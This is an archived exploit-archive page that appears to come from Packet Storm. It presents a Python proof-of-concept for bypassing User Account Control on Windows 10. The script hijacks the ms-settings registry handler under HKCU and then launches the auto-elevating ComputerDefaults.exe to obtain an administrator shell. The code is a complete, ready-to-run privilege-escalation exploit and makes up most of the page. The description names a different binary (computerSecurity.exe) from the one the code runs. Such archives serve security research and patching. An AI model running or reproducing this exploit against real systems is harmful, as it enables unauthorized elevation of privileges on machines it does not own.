what you don't know can hurt you

Microsoft Windows 10 UAC Bypass By computerDefault

Microsoft Windows 10 UAC Bypass By computerDefault
Posted Oct 22, 2018
Authored by Fabien Dromas

This exploit permits an attacker to bypass UAC by hijacking a registry key during computerSecurity.exe (auto elevate windows binary) execution.

tags | exploit, registry
systems | windows
MD5 | 2c1515d3cf000e306d865e349594543c

Microsoft Windows 10 UAC Bypass By computerDefault

Change Mirror Download
#!/usr/bin/env python
#
# Exploit Title: Windows 10 UAC Bypass by computerDefault
# Date: 2018-10-18
# Exploit Author: Fabien DROMAS - Security consultant @ Synetis <fabien.dromas[at]synetis[dot]com>
# Twitter: st0rnpentest
#
# Vendor Homepage: www.microsoft.com
# Version: Version 10.0.17134.285
# Tested on: Windows 10 pro Version 10.0.17134.285
#

import os
import sys
import ctypes
import _winreg


def create_reg_key(key, value):
try:
_winreg.CreateKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command')
registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command', 0, _winreg.KEY_WRITE)
_winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)
_winreg.CloseKey(registry_key)
except WindowsError:
raise

def exec_bypass_uac(cmd):
try:
create_reg_key('DelegateExecute', '')
create_reg_key(None, cmd)
except WindowsError:
raise

def bypass_uac():
try:
current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__
cmd = "C:\windows\System32\cmd.exe"
exec_bypass_uac(cmd)
os.system(r'C:\windows\system32\ComputerDefaults.exe')
return 1
except WindowsError:
sys.exit(1)

if __name__ == '__main__':

if bypass_uac():
print "Enjoy your Admin Shell :)"
Login or Register to add favorites

File Archive:

November 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    2 Files
  • 2
    Nov 2nd
    9 Files
  • 3
    Nov 3rd
    15 Files
  • 4
    Nov 4th
    90 Files
  • 5
    Nov 5th
    22 Files
  • 6
    Nov 6th
    16 Files
  • 7
    Nov 7th
    1 Files
  • 8
    Nov 8th
    1 Files
  • 9
    Nov 9th
    40 Files
  • 10
    Nov 10th
    27 Files
  • 11
    Nov 11th
    28 Files
  • 12
    Nov 12th
    13 Files
  • 13
    Nov 13th
    18 Files
  • 14
    Nov 14th
    2 Files
  • 15
    Nov 15th
    2 Files
  • 16
    Nov 16th
    29 Files
  • 17
    Nov 17th
    15 Files
  • 18
    Nov 18th
    15 Files
  • 19
    Nov 19th
    21 Files
  • 20
    Nov 20th
    16 Files
  • 21
    Nov 21st
    1 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    19 Files
  • 24
    Nov 24th
    32 Files
  • 25
    Nov 25th
    7 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close